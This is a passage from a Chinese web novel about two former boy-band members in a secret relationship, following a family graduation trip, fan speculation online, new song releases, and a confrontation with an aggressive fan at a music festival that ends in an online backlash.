路煌像得到了某种允许,又像是鼓励,立刻吻了回去。他不认为自己做得每一件表达爱意的事都是对的,但许稚舒却总会给他肯定,让他对许稚舒的占有欲愈发像个无底洞,但无论他的占有欲有多么强烈,他始终会秉持一个原则,那就是不伤害许稚舒,这是头等重要的事—— 作者有话说:感谢支持! 本文设置了70%的防盗。文不会太长,25万字左右。感谢大家的追读哦! 第48章 两个人在沙发上腻歪了好一会儿, 许稚舒的衣服被扯得乱糟糟的,路煌的眼神也明显深了许多。此时,许稚舒的手机很不合时宜地响起来。 大白天的, 两个人本来就在尽量收敛了, 现在被手机铃声打断,自然就停了下来。 路煌伸手把许稚舒的手机拿过来, 是贺漾发来的消息。路煌把手机塞给许稚舒, 就爬起来去冲凉了。 贺漾把他自己录制的新歌试唱发给了许稚舒,想和许稚舒讨论一下细节。许稚舒没跟他提出来玩的事,他以为许稚舒还处在正常工作的状态。 许稚舒整理了下衣服,开了瓶水边喝边听,听完也差不多冷静下来了。 给贺漾的新歌是带着点怪诞感的,歌词讲的是被制造出的木偶原本只会按主人的提线行事, 但木偶觉醒了意识,不再让人主宰, 奔向了自己要的自由。结尾桥段是说木偶归来,掌控了主人。主人为制造木偶花费了大量的心血, 以至于无法接受那样的沉没成本, 只要木偶愿意出现,他也乐意奉献余生。 这看似有些精神不正常的内容,可以隐喻许多事, 可以解释为掌控者与被掌控者之间, 被掌控者有机会翻盘,而掌控者看似得到控制权,其实也是在欲望中的失权;也可以解释为没人可以引导他人的人生,就像父母与孩子,父母自以为付出就应该获得听话的孩子, 却不知有时只是自我感动,甚至失去自我,而孩子有孩子的人生…… 许稚舒认为这首歌很适合贺漾的风格,交响乐把整个编曲托得无比华丽,与贺漾平时的穿衣风格很搭。贺漾可以在外在与华丽划上等号,这就已经奠定了一半的歌曲基调。而许稚舒对演唱的要求是要表现出病娇感,无论站在木偶的角度还是主人的角度,病娇都可以体现他们的状态。 要唱出这种病娇感,每一个尾音的处理就都显得十分重要了。而且处理上不能过于重复,否则就是惺惺作态,显得乏味。 路煌冲凉出来,许稚舒正在给贺漾发语音,一些细节的东西他给出的方案很明确。哪个地方用气声,哪个地方做真假声转换,尾音要怎么唱,都说得明明白白。贺漾不一定非得采用他的方案,可作为这首歌的创作者,许稚舒的意见肯定是最有参考性的。 发了最后一条语音,剩下的就靠贺漾自己去打磨了。 路煌坐回沙发上,将许稚舒捞到自己腿上坐着,说:“每次看到你在音乐上精雕细琢,我都觉得你离开舞台很可惜。” 许稚舒全然放松地靠在他身上,还能感受到路煌身上的凉意:“没什么可惜的,我在做我热爱的事。” “但你在台上发光的样子也很好看。”路煌将额头抵在许稚舒的后背,声音很沉、很稳。 许稚舒轻笑:“如果我回到台前,你想天天见到我就难了。” 他退圈跟路煌没有任何关系,也跟他们的感情变化没有任何关系,全是他自己的选择,所以不需要有任何变化,他觉得好就是最好的。 “那可不行。”路煌想到那种情况,觉得接受不了。 许稚舒笑他:“想让我上台,还想天天看到我,哪有那么多美事呢?再说,我觉得现在很好,写那么多歌都有人愿意唱,而且成绩都不错。Breeze的出道很成功。我自己也没有太多压力。这样的工作状态就是我最理想的样子。” 许稚舒深知自己有一副好嗓子,不是他自恋,是这么多年的演出足以证实的。他现在是不上舞台了,可并不影响他可以继续唱歌。再说,他有那么好的录音棚,有那么好的乐器设备,他就是关上门来自己唱一天,都没有人能说他一句不是,这样多好! “我相信你可以把自己的事业做得更好。”无论什么时候,许稚舒为音乐全力以赴的样子,路煌都超喜欢。 “等我做大做强了,就把你当金丝雀养着。”许稚舒玩笑说。 “好,我等着。”路煌不觉得有任何不好,许稚舒又不是别人,许稚舒如果想把他关起来,他也是乐意的。 * 次日早上,两个人在酒店简单吃了点早餐,就提前出门了。许稚舒想给路千瑗买一束鲜花,再买一份毕业礼物。他们来得匆忙,的确没有准备。路千瑗肯定不会计较,不过看过路煌拍的照片,许稚舒被毕业的气氛感染到,觉得还是要有些表示,仪式感并不是多余的东西。 两个人牵着手走出电梯,在大门口稍微等了一会儿,订的网约车就到了。路煌这才牵着许稚舒的手走出酒店大门,今天外面阳光很好,照在两个人脸上,明媚又热烈。 路煌拉开车门,许稚舒先上了车,随后路煌也坐进了后座,车子开走,酒店门前久久没有车再开过来。 严妙坐在大厅的沙发上,两个人的一举一动全被她收入眼中。 她也住这家酒店,只不过路煌没跟许稚舒提,也是怕许稚舒会觉得不自在。 她在房间吃了早饭,现在下楼等助理收好行李退房,就要前往机场了。 严妙也没想到会遇上路煌和许稚舒,她以为年轻人喜欢睡懒觉,不会起这么早。 看着两个人牵手出门,脸上都是笑意,看对方的眼神专注又耐心,仿佛即便对方不说话,或者说的话很无聊,他们也不会觉得无聊。这让严妙想起了自己跟路康佑谈恋爱的时候,那时也是,只要看到地方就很开心了,至于聊什么,吃什么,都不重要。他们的运气很不错,没有家里的反对,顺顺利利地恋爱、结婚、生子。也因为路家待她很好,完全没有婆媳矛盾,也没有防着她的意思,所以这些年她没有任何不如意的地方。 现在她与路康佑的感情依旧很好,只是不像年轻时那样总是想时时刻刻见到对方了。所以看到路煌和许稚舒,她多少有些感慨。做母亲的希望孩子快乐,却也担心孩子被排挤、歧视,毕竟他们这个阶层的,要说圈子有多干净,她是不认的。 她很幸运,可现在他儿子正面对着不那么幸运的境地。爱本身总是没错的,说来说去,许稚舒并没有做错任何事。她所担心的或许不是她应该担心的,而是路煌和许稚舒应该一起去面对和克服的。 这个世上没有任何一件事是完全轻松的,作为事业女性,她即便再幸运,也有面对困难的时候,也有一步步克服困难的时刻。因为知道那些不易,所以不想看孩子吃苦,是作为母亲本能的不忍。但孩子长大了,总要面对这个世界。就算母亲不能成为护盾,也不应该成为孩子的绊脚石吧。 “恭喜顺利毕业。”许稚舒送上花和毕业礼物。 “谢谢。”路千瑗特别惊喜。 “以后咱们千瑗可就是真真正正的社会人士了。”陈玉欣笑说。从学生到步入社会,将会是非常大的人生课题,就算路千瑗家境优渥,也不可能百分之百逃开。 “想想还挺不真实的。读了这么多年书,突然完全不用读了,我还挺舍不得。”路千瑗抱着花道,“不过让我继续读书,我也是读不动了,感觉脑子里都是满的。” 路煌牵着许稚舒的手,对她道:“以后想返校了还是有机会继续深造的。” 路千瑗果断拒绝:“还是算了,我已经学得够够的了。” 午饭的餐厅是路千瑗订的,她对这边的餐厅更熟悉,也知道什么好事。 饭间,几个人聊到了路千瑗接下来的工作安排,路家现在的情况,也自然地聊到了先前路老爷子被架到“优秀爷爷”这个架子上的趣事。 之前严妙在,陈玉欣不好多说,现在没有长辈在了,她就没有那么多顾虑了。 “听奶奶的意思,爷爷现在要面子,以前还不时在家里数落路煌几句,现在也不提了。之前常出门聚会,现在也不去了,可能是怕再被架起来,还是躲远点好。”陈玉欣给他们描述着。其实这件事也让她觉得轻松,有的时候老人要点面子并不是坏事。 路千瑗哈哈笑说:“万一哪天爷爷成了优秀大家长的代表,那个场面我想想就觉得好好笑啊。” “收敛一点,要是让爷爷知道,可能会恼羞成怒。”路煌也觉得好笑,尤其是在现在这个时期,要么那些大家族的男女关系理不清楚,要么就是家族企业不稳定。只要路家稳得住,说不定老爷子还真会被当成讲道理的好老头,圈子里的人生赢家。 热热闹闹地吃完饭,四个人去了这边的地标性建筑拍照。这里对路千瑗和陈玉欣来说都不陌生,也在这边拍过几次照片了。但这将会是路千瑗求学时期的最后一次,下次什么时候再来都很难说了,合影留念还是很有必要的。 这边游客不少,但并不影响他们拍照。 四个人在这里待了一下午,尝了这边最火的咖啡,沿着河边溜达着,从这里的风景,聊到未来的规划。路千瑗作为刚毕业的学生,对未来肯定会有许多天马行空的想象,尤其在她还不差钱的情况下。 而其他三个人也是从路千瑗这个阶段过来的,听她的畅想,回顾自己的人生,也是一件很有趣的事。 自在的气氛是被许稚舒手机突然收到的叮叮当当的消息打破的,一下子好几条消息涌进来,许稚舒还以为是自己手机坏了。结果打开一看,是他和路煌同游的照片被顶上了热搜,看到消息的好友不放心,从乐言到纪西卓,全给他发消息来了!—— 作者有话说:感谢支持! 第49章 照片上不止许稚舒和路煌两个人, 还有路千瑗和陈玉欣,只不过博主可能认为两个人是素人,不好发人家的照片, 所以给打了码。 博主表示自己是超级Infinite粉丝, 昨天通过热搜知道许稚舒来这边旅行,她正好也在这边留学, 那家咖啡店她也常去, 就想着来这里玩,地标性建筑是绝对不容错过的。正好她今天没有课,就抱着试试的心态来这里蹲点了。万万没想到,自己运气这么好,不仅看到了许稚舒,还看到了路煌! 同时该博主也表示跟他们一起的两位女性看起来并不是他们的女朋友, 像想是朋友或者家里人。她看到四个人拍完照后买了咖啡,就往河边的步行路上走了, 她就没敢跟过去。 什么博主的解释,什么他们往哪儿走了, 在粉丝眼里根本不重要, 尤其是CP粉,她们只觉得今天就得是新年! 【啊啊啊啊啊,怎么办啊!!我太激动了!!】 【闭嘴!让我来!啊啊啊啊啊啊啊——我今天晚上要睡不着觉了!!!】 【之前看到Infinite五个人聚餐, 就感觉他们的关系还是非常好的, 没想到还会有一起出游!】 【虽然不是牵手照,但两个人走得很近啊。】 【我嗑的CP又复活了!】 【‘皇叔CP’万岁万岁万万岁!】 【所以这是破镜重圆了吧!一定是的吧!】 【肯定是!我已经开始期待他们的官宣了。】 …… 许稚舒看到成倍往上翻的评论量,一时有点慌。他现在跟路煌感情很好,但还没到要让全世界知道的地步。况且这次他们是来参加路千瑗的毕业典礼的,并不想引起其他话题, 也不想让别人过多关注。 “怎么了?”见他停了下来,路煌随之停下。 许稚舒不想破坏大家散步的好心情,对他们道:“你们先往前走,我这儿有点工作上的事,马上追上你们。” 路千瑗和陈玉欣没有丝毫怀疑,就相互挽着胳膊慢慢往前走了。 路煌肯定不能放许稚舒一个人,在前面两个人走出一段距离后,才问:“什么事?” 许稚舒把手机拿给路煌看。 路煌皱了皱眉,他们现在已经离地标建筑很远了,肯定不能回去找人算账。但这件事如果冷处理,又担心会被记者追。两个人一起出游不算大事,可眼下没有特别有热度的娱乐新闻,记者要是闲着没事想挖点消息制造流量,也不是没有可能。 他们现在可是住在一起,一抓一个准。而眼下,路煌并没准备曝光恋情,以免影响到许稚舒的事业上升。这点或许在别人看来不重要,相爱就应该对外承认,可路煌很清楚上升期的重要性。等许稚舒夯实了地位,他们的恋情曝光最多就是音乐才子的恋爱趣事,但现在曝光,那很可能以后大家的关注点都在他们的恋情上,许稚舒写的歌反而会沦为配角,影响歌曲宣传,最终形成负面循环。 “让工作室回一下吧。”路煌提议,他和许稚舒都退网了,由工作室回复是最妥当的。 “行。”许稚舒也是这个意思。 路煌叹道:“不知道Infinite的影响力什么时候才能散干净,都跑国外来了,还是能遇上粉丝。要是平时遇上了,应该是挺开心的事,可咱们两个在一起,就实在影响约会了。” 许稚舒笑说:“毕竟在乐坛深耕了这么多年,现在热度还这么高,说明咱们那些年的努力都没有白费。” “话是这么说,可想找个地方好好约会也太难了。”路煌想去拉许稚舒的手,快摸上时又克制住了,天知道什么时候会遇上粉丝,“等我们正式公布恋情就好了。” “嗯。”许稚舒也没想瞒一辈子,只不过现在并不是好时机。为了两个人的未来着想,还是不能冲动。 一一回了消息,许稚舒就跟路煌去追路千瑗和陈玉欣了,就算发生了一些插曲,也不能影响出来玩的心情。 一个小时后,乐言按许稚舒的要求用工作室的账号发了一句“一直是朋友。感谢大家对两位的关心,请大家不要打扰他们私下的生活”。 对于工作室的发言,粉丝们一点都不意外,哪怕不是出于热度过高,仅是两个人都已经退圈,也确实不应该再被打扰。但兴奋起来的CP粉完全不愿意接受这个解释。 【我愿意相信此地无银三百两!否则之前也有关于两个人的消息,但工作室几乎是没有回应的。】 【我怎么没看到他们跟别的队友一起单独旅行呢?】 【哎呀,明白明白,这种事都是不能承认的嘛!你们好好的,我们不说话~】 …… 不过也有冷静下来,觉得心里不好受的CP粉。即便她们清楚嗑CP只是她们生活中的一点小爱好,可那种“我嗑的CP是真的”的喜悦上头后,兜头被泼了冷水,心里的落差还是很明显的。 【每次都心存幻想。】 【哎,他们要在一起,肯定早在一起了。毕竟都不上台了,想怎么样都可以的。】 【哭哭,还是忍不住悲伤。】 【我想退出‘皇叔CP’的粉籍了,有点痛苦。】 【能理解,但不能接受。】 【所以我的CP不是破镜重圆,而是止步友情了吗?】 …… 许稚舒没再关注网上的动静,毕竟是对粉丝说谎了,他心里还是有些愧疚的。 倒是晚上回到酒店,路煌看到工作室的回复,把他抓到身前,佯装不满地说:“一直是朋友?” “那怎么说?”许稚舒知道路煌是在跟他闹着玩,但还是会认真回答。 路煌整个人都压在他身上,手不老实地掐着他的腰:“你再好好想想。” 许稚舒不敢动,他很怕痒的,感觉他一动,路煌就真的要掐他了:“你先把手拿走。” “你先说到底应该怎么答。”路煌自然知道许稚舒哪里最敏感。 许稚舒去拨他的手,这样他没办法思考。 路煌另一只手却抓住他的手腕,将他的手举过头顶,腹部贴紧了许稚舒,让他另一只手也休想达成目的。 许稚舒看着他,漂亮又干净的眼睛眨了眨,无辜,又像是在利用这种无辜让路煌不再追究了。 路煌并不被“诱惑”,而是继续道:“说话。” 许稚舒蜷起一条腿,轻轻蹭了一下路煌的侧腰。路煌几乎是下意识地放开了许稚舒的腰,从而摸上了许稚舒的膝弯。等他做完这套动作才发现许稚舒还是太了解他了,知道怎么样能让他换个下手点。 “小骗子……”似笑似叹地一句,随后是压下来的吻。 许稚舒乖乖接受了索取,眼里透出笑意,他是发了“一直是朋友”这句话,但是什么样的朋友,还是有留白的,不是吗? * 参加毕业典礼之旅飞快地结束了,两个人为了不被拍到,并没有选择乘坐同一班机回来。而是许稚舒先走,路煌则乘四个小时后的下一班机回源海市。 不知道是因为行程保密得不错,还是在工作室发表态度后,记者们不愿意得罪路煌,总之两个人都没被拍到,顺利得让人心情愉悦。 许稚舒又投入到了工作中,贺漾和To ver的录音工作都等着他来完成。 Breeze的新歌成绩非常不错,上一次的MV走的是自然风,而这次是都市风,给粉丝带来了足够的新鲜感。加上歌曲郎朗上口,但并不是洗脑的风格,所以总体上还是把Breeze的定位打得很牢固的。 《嬉闹》的好成绩也让Breeze收获到了成团以来第一个高title的代言。而凭借Breeze的这次回归,初黎娱乐也终于走进了盈利模式。 Breeze的粉丝们没忘当初杨阅污蔑Breeze回归是为了圈钱的言论,带着Breeze的成绩冲进了杨阅的微博,大嘲特嘲一番后,满意离场。 这次许稚舒没有参加Breeze单曲的幕后采访,不是他不想,而是实在太忙了。Breeze的《嬉闹》再次火了之后,他收到的邀约更多了。原本这些都可以推到明年,可有些是托了关系找他的,希望今年能出歌,别人的关系也就罢了,像贺漾他们几个的关系,许稚舒肯定会给面子,所以忙得他什么别说采访了,连吃饭的时间都在做编曲调整。 路千瑗回来后休息了半个月,就被路老爷子安排进公司做事了。原本路老爷子是说随路千瑗的意,女孩子要娇养,想创业他会给钱,结果不知怎么就变卦了,把她塞进了公司。 这下可苦了路煊和路煌了。路千瑗知道自己是空降,短时间内不可能让人心服,所以她工作很努力,也不希望跟所有人都打成一片,遇到拿不准的业务就跑去找路煊,上班时是“哥,哥,哥,这个怎么搞”,下班时是“哥,哥,哥,让我蹭车回家”。路煊有时候出差,顾不上她,她也不慌,立刻一个电话打给路煌,总有一个哥哥能帮她。 不过这个状态只维持了两个月,到第三个月的时候路千瑗已经上手了。除了遇到奇葩,要跟哥哥嫂子吐槽以外,已经有了几分精英女性的架势了。 许稚舒这边的工作也忙得差不多了。九月底,贺漾发布了新歌《木偶》,直接空降所有音源榜单第一。 新的风格,新的演唱方式,华丽的MV,以及许稚舒的又一力作,这一系列元素加在一起,打造出了全新的贺漾及更高的话题度。不止粉丝惊艳,就连路人都不得不夸一句这首歌的确是下了大工夫的。 许稚舒再次被热议,热度完全不输贺漾。 而贺漾在接受媒体采访时,也毫不吝啬地大肆赞美许稚舒,说了许多两个人合作的细节,听得Infinite粉丝大满足。 同时,贺漾也没忘记给单长清的新节目做宣传。当粉丝们得知第一期嘉宾会是路煌时,Infinite的团魂再次成为粉丝心中不可动摇的存在——即无论什么时候,只要他们其中一人有需要,其他四个人都会前去帮忙。 能见证这样的友情,粉丝们与有荣焉。 周六,单长清的第一期节目上线,路煌出差不在家,许稚舒悠闲地煮了苹果肉桂红酒,准备细细欣赏路煌的采访。内容什么的不重要,重要的是又能在屏幕上见到路煌了,尤其今晚路煌不在身边,他只能靠这个安抚自己的想念了—— 作者有话说:感谢支持! 第50章 单长清的节目起的名字很随意, 就叫《随便聊会儿》,直白好记,在现在信息无比复杂的时代, 简单反而成了优势。 录制的场景布置得很温馨, 一组沙发,一个茶几, 米色的地毯让场景显得更加柔和。背景是书柜和挂画, 处处透着让人静心的意图。 许稚舒把平板支在茶几上,自己坐在茶几与沙发之间的地毯上,手边煮好的红酒散发着没有攻击性的香甜,配上一份炸虾紫菜包饭,看似不搭,但吃起来很有满足感, 既能吃饱,又不会腻。 他就这样边吃边看, 心情非常好。 作为主持人,又是第一期节目, 一开始能感觉到单长清的拘谨, 与嘉宾聊天是没有脚本的,但要问什么问题,怎么引话题, 单长清是做过准备的, 所以最开始聊得不够自然。或许不了解单长清的人不会觉得怎样,但对于许稚舒他们这些好友,能感觉到差别。 路煌的状态倒是一直很放松,作为一个上班族,路煌选择穿西装, 但又不想看起来太正式,所以没有打领带,只带了袖扣,还是镶碎钻的,不大惹眼。 单长清:“Infinite解散后,你就进入职场了,你适应了多久才习惯职场的节奏?” 他不会提路家的情况,所以提到职场也没有细说路煌的职位。 路煌:“其实我适应得很好,当时只想投入到工作中,没有和做艺人的时候对比,也没有觉得孰优孰劣。等我回过神的时候,已经完全融入了。” 那会儿他刚和许稚舒分手,除了工作能让他不去想许稚舒,也没别的办法了。 “你接手了初黎娱乐,的确让我们都很意外,当时是怎么想的?”单长清又问。 “没什么想法,我爷爷把公司买了,总得有人去管。让一个老头子天天看男团女团在那儿蹦蹦跳跳,还要给出未来的发展方案,实在是太为难老人家了。我家里只有我在娱乐圈发展过,这项工作自然就交到我手里了。”路煌知道粉丝肯定会好奇这个,聊一聊也是可以的。 “那管理初黎你觉得难吗?” “难。人员配置都还是可以的,可它要怎么发展,推出什么样的团体,走什么路线,都是需要考量的。咱们五个人在团的时候,下一张专辑或者回归曲做什么风格,都能商量着来。等到我要自己做决定的时候,就算再果断,也还是会存有疑虑,担心做出错误判断。” “所以你找了稚舒合作?”单长清显然是很乐意把话题带到许稚舒身上的。而且从他的角度看,这就是自然而然的事。 “对。好在他没有拒绝,否则初黎的经营不会像现在这么顺理。”提到许稚舒,路煌的笑意就露出了来,这会儿弹幕也开始糊脸了。 【卧槽,你看他笑的!!】 【我们冷脸二少什么时候笑得这么高兴过?】 【有问题!这段关系一定有问题!】 【CP粉被伤害太多次了QAQ,不过我依然勇敢向前!!!】 【别说了,皇叔CP就是真的!!!】 …… 许稚舒看弹幕看乐了,赶紧屏蔽了弹幕,以免影响他看路煌。 之后两个人又聊到初黎现在的发展,对未来的展望。随后从事业聊到感情,单长清不可能做刻意的引导,只是想让路煌借这个机会把之前记者拍到他跟女生吃饭的事澄清一下。 路煌果然懂他的意思,只说跟生意伙伴一起吃饭的机会非常多,男女都有,希望大家看到不要太惊讶。 后面两个人又聊到以后可以合作的点,中间也不免说起一些在团时候的往事,还有开始新事业后如何能抽出时间来跟朋友们多见面。 总之聊得很杂,并不是为了引出什么有深度的话题,就是纯闲聊,和正常的朋友聚会一样,聊聊现状,聊聊身边的趣事,聊不够理想的,也聊足够幸运和愉快的…… 许稚舒看看得很高兴,粉丝们看他们聊天,更多的是希望看到他们都好。而许稚舒看的则是他们的状态,以及对未来的规划,也希望自己能在这些规划中帮得上忙。 不知不觉,一壶热红酒喝完了,紫菜包饭也吃了大半。 拿过手机,给路煌发了消息,说自己想他了。而这个时间,路煌应该正在酒会上应酬,没空回他消息。 下楼散了步,回来冲过澡后,许稚舒就进音乐室听歌了,直到听得犯困,才回房间睡下。路煌一直没回他消息,他也没有担心,他不会打扰路煌应酬,路煌这次出差也不是一个人,他没什么不放心的。 同一时间,路家—— 严妙看完访谈节目,心里有种说不出的滋味。虽然整个节目都没提路煌和许稚舒的关系,却处处都像是在隐晦地说两个人的关系。 从上次在酒店门口见到他们,严妙就没有特别多的想法了。现在在访谈上看到路煌状态比任何时候都要好。严妙就觉得随他吧,做家长的别一天到晚那么多事。 “怎么了?”路康佑回到房间,就见妻子坐在梳妆台前发呆,这倒是难得一见的。 “康佑,路煌的事我不准备管了,随他吧,他幸福就行。”严妙是下定决心了,才跟路康佑说的。 路康佑没有任何意外:“初黎发展得不错,能这么快实现盈利,说明路煌的决策能力不错。不过不得不说,如果没有许稚舒,恐怕想连续做出爆曲也没那么容易。所以理应算许稚舒的一份功劳。” “是啊,那孩子热度一直不减,是个自己有本事的。就算没路煌,那孩子凭自己的能力,也能活得很好。”严妙微微扬了扬嘴角,她很看重一个人的工作能力。 路康佑叹了口气:“近来经济下行明显,看着很多家族都支撑不住,小的企业更是今天不知明天,我就在想咱家这么大的业家,要一直守下去并没有预想的那么容易。创业容易,踩上风口怎么都能飞起来,但守业太难了,不知道什么时候行业就开始走下坡路,就算有家财亿万,也敌不过时代的走向。” “是啊,前几天我的一个客户家里破产了,她的奢侈品全拿出来卖了,就为了能多留点生活费。她家孩子倒是一代一代的不少人,可关键时刻一点用都没有,都伸着手等着拿钱吃饭。”严妙也觉得唏嘘,“没有能力东山再起,就只能变卖东西了。路煌和许稚舒在一起,我反而不会有这方面的担忧,许稚舒的才华就是他吃饭的本事,这是谁都拿不走的。” “的确,这么想来,还是路煌占便宜了。”路康佑笑起来,“等有合适的时机,爸那边我再探探口风。” 严妙道:“我觉得你还是先和妈谈谈吧,妈看起来倒没有不接受的意思。” 路康佑点头:“行,我看看安排个时间带妈出来购物,顺便问问她的意思。” * 金秋十月,To ver的回归单曲《自己的世界》正式发布,立刻空降各大音源榜,且有冲进前三的势头。 这首歌表达的是主宰自己的世界,对抗一切不美好,即便辛苦,也要撑起自己的世界。 层次丰富的编曲和重音鼓组让节奏感非常强烈,这种节奏是带着冲劲儿的,让人忍不住跟随节拍晃动。 MV里,十个女孩分别扮演十种不同的角色,有运输司机、面包师、咖啡店主、服务生、画家、鲜花店主、宠物主人、园丁,无人机操控员和作家。 在歌曲的第一部分,每个人都在自己的事业上、生活上遇到了瓶颈和难题。到了第二段副歌和桥的部分,是纯舞蹈版加入,为后面突破的气势做蓄力。待到最后一次副歌,所有人都开始产生积极向上的变化——运输司机准时将面粉送达面包店,面包师做出了研究许久的新品面包,并为咖啡店供餐。咖啡店主做出味道出彩的咖啡,服务生将咖啡和面包端给在作画的客人。画家坐在窗边,画的是马路对面的鲜花店,花店老板正在包一束花。主人牵着小狗来取预定的花束,在走过公园时,园丁正在给草坪浇水,喷洒间形成漂亮的彩虹。无人机起飞,录下了小狗、彩虹和公园,然后镜头快速拉远,镜头在缩尽后出现作家,上述的一切都被写进了小说里,成为一种传播方式,希望能鼓励到更多人。 十个女孩打破了之前的个人风格,每个人在造型上都个性十足,从而让人印象深刻。这也是打造个人IP的一种方式。 粉丝们乐开了花,这样的新形象只会让他们觉得女孩们长大了,却不会有风格转变太大的违和感。新鲜好接受,又充满惊喜。 同时歌曲的寓意大受好评,一举让To ver成了国内女团新的励志风向标。加上她们本来就是经历过低谷期的,所以唱这样的歌更有说服力,特别是这首歌还爆了! 女孩们从新歌发布就聚在一起等成绩,当看到歌曲快速登榜,她们的回归也上了热搜第一后,女孩们抱在一起哭起来,这是她们出道以来从没有过的好成绩。 许稚舒本来没有等成绩的习惯的,但因为To ver整个团队都在等成绩,许稚舒作为制作人还是露一面比较妥当,所以也被迫“加班”了。 等路煌来会议室叫许稚舒回家了,女孩们才破涕为笑,一个个鬼精灵似的,仿佛就她们最懂了。 许稚舒笑道:“都早点回去休息,期待你们初舞台的表现。” 女孩们纷纷应“好”,抹着眼泪看两个人离开,仿佛苦尽甘来后,总会遇到更甜的事—— 作者有话说:感谢支持!久等了!《 》 50-60 第51章 To ver的新歌《自己的世界》的初舞台被安排在源海市的金秋音乐节上。这个音乐节每年十月举办, 音响好,场地大,观众热情, 是不少歌手都愿意上的音乐节。没有官方直播, 但会有录制,现场的气氛也是非常high, 许多神级舞台都是在这个音乐节上出现的。 这次除了To ver, Breeze也参加,只不过两个团不在同一天。 因为初黎有两个团参加,主办方非常给面子地送了VIP区的票。许稚舒可以跟着To ver一起进后台,路煌拿回来的两张票就给了乐言和李瑶,也提前让他们下班了,可以尽情地享受音乐节。 音乐节是从下午两点开始, 一直到晚上十点。每个艺人的演出时间为四十五分钟,换场会有十五分钟的休息和下一位歌手调音响的时间。粉丝可以根据自己喜欢的艺人的出场时间到音乐节现场, 门票很便宜,提前买好后可以随时持票进场, 露天的场地能容纳的人很多。但如果像当初Infinite那样粉丝太多, 那当天Infinite出场的时间段前后都是限流的,以免人挤人出危险。 化妆间里,女孩们一边化妆一边练歌, 都希望能拿出最好的状态。之前他们的歌曲版权初黎也都买了, 除了当初的出道曲和另一首抒情歌没变动之外,剩下几首许稚舒都做了编曲上的改编,主要是为了衔接现在的风格,从而固化新风格,以免粉丝整场听下来, 觉得有割裂感,或者造成记忆回溯,覆盖了新风格。 其实许稚舒在这儿也做不了什么,起到的就是一个安定人心的作用。所以他也不多话,只等初黎安排的拍摄人员给他做现场返图,他会挑出合适的再传给初黎宣传部的工作人员,让她们尽快更新To ver的动态。 女孩们肉眼可见地紧张,这和舞台经验丰富与否无关,很难有人面对台下的上万人,能完全不紧张。况且这是她们第一次参加音乐节,现场到底会是什么样子,完全没办法预料。 “To ver可以去试音响了。”工作人来通知。 女孩们立刻站起来,表情更拘谨了。 许稚舒笑道:“都别紧张。你们在练习室的表现都很好,台上保持就行。如果在台上耳返或者麦克风出了问题,尽快打手势跟工作人员示意,不要慌乱。唱现场什么情况都有可能发生,首饰脱落、滑倒、因为紧张音准出现偏差,都很正常,不用放在心上。这也是现场舞台的魅力。” 听他这么说,女孩们稍微松了口气。 许稚舒拍了拍手,说:“好了,出发吧。” 女孩们走出化妆间,全程都有工作人员在录像。许稚舒没有跟出去,他只是来坐镇的,并不打算露面。 舞台表演很顺利,井雨的腿还不能跳舞,所以舞台单独给她弄了一个华丽的椅子,供她坐着表演,整个场面并不违和。在官博还没发图之前,网上就已经有To ver的舞台片段了。乐言和李瑶也在VIP席拍了不少照片,毕竟两个人之前都是艺人助理,拍照的水平毋庸置疑。 等下台后,女孩们已经是完全放松的状态了,纷纷过来与许稚舒拥抱庆祝。 许稚舒非常绅士地接受了她们的拥抱,手只搭在女孩们有衣服遮盖的肩膀上,挑不出一丝错来。 “好了,稍微休息一下,准备上车回去了。”许稚舒说。工作人员已经把东西都收拾好了,艺人回来稍作休整就可以回程了。如果是演唱会,还会换回自己的衣服,离开时会有与粉丝打招呼的“下班”环节,音乐节则没有这么固定,会有粉丝跑到停车场等着,但人数不会特别多。 一行人从专用通道往停车场走,已经有粉丝那边等了。 大家喊着她们的名字,女孩们向大家挥手鞠躬,表示感谢。有粉丝准备了小礼物,只要价格不贵的,助理都代为收下了。 许稚舒跟工作人员走在最后,可他一露面就被认出来了,就算不是他的粉丝,也要尖叫一下表达惊喜。 许稚舒微微冲大家笑了笑,他可不是主角,保持礼貌就可以了。 就在这时,人群中突然冲出个男生,冲着井雨就扑了过去,粉丝们连声尖叫,反应过来想要拉住男生已经来不及了。 井雨反应不及,保镖又不在井雨旁边,眼看井雨就要被抱住了,站得最近的许稚舒反应最快,一脚踢到了男生胳膊上,把人踢了一趔趄,差点摔地上。 这时保镖才冲过来,把男生按住了。 男生带着兜帽,背了个挎包,看起来有点宅,被扯掉帽子后露出油腻的头发。虽然处于下风了,但他气势一点都不弱地叫嚣道:“放开我,我是粉丝!你们就这么对待粉丝吗?我要报警!!” 女孩们受到惊吓,但还是下意识地把井雨围在了中间保护住。 粉丝们也觉得女孩们待在这儿不安全,赶紧喊她们快走,这男生可能是极端粉丝,才会做出这么不理智的行为。 许稚舒见过的粉丝多了去了,什么心思的一眼就能猜个大概:“粉丝见到偶像就这么扑过来?” “我就是太喜欢她们了,不行吗?你居然打人,我要报警!”男生继续叫嚣。 许稚舒也不惯他毛病,道:“你既然喜欢她们,难道不知道井雨的腿还在休养?你万一把她撞倒了,腿再受伤怎么办?假粉装真爱,别太搞笑了。” 想到他刚才扑的的确是井雨,在场的粉丝也开始骂他。 男生眼睛转了转,正要继续为自己发声,就听许稚舒道:“报警吧,你不是要理论我打你吗?行,找警察来处理。” 男生的狠狠地瞪了许稚舒一眼,然后突然大幅度地一用力,甩开了钳制他的保镖,头也不回地跑了。 女孩们恢复了镇定,客气地向粉丝挥手,但并没有再做过多停留,就上车离开了。 许稚舒随后也上了车,遇上极端粉丝并不算新鲜事,但许稚舒从男生眼里并看不出对To ver的喜爱。被制住后,甚至没有多看To ver一眼,倒是一直盯着他。 鉴于男生并没有造成实质性的伤害,许稚舒也不好多说什么,只能让团队发博抵制这样的行为。 可还没等团队发文,许稚舒就被挂热搜了,#许稚舒殴打To ver粉丝#的词条如坐了火箭一般冲上了热搜。发这条微博的是一个自媒体号,自称是今天去参加音乐节,正好看到,觉得粉丝很可怜。就算追星,也不用挨打吧?而对方放出了照片正是许稚舒踢到男生身上的瞬间。 在场的人都知道是怎么回事,但广大网友并不知道。况且照片上许稚舒的确是打人了,于是声讨立刻就扑了上来。 【许稚舒以为自己是谁啊?居然敢打To ver的粉丝!】 【写出几首歌就飘了?】 【就这么塌房了?也是,没有人品的人,塌房是早晚的事。】 【没有人报警吗?打人也是要负法律责任的。】 【他为什么会在那里?不会是想潜规则To ver的女孩吧?】 【啧啧,这肮脏的娱乐圈,就没有一个干净的。都是权利与肉-体的交易而已,手里有点权就把自己当大爷了。】 【抵制许稚舒!抵制To ver!】 【To ver也是飘了,就这么看着?那可是你们的粉丝啊!】 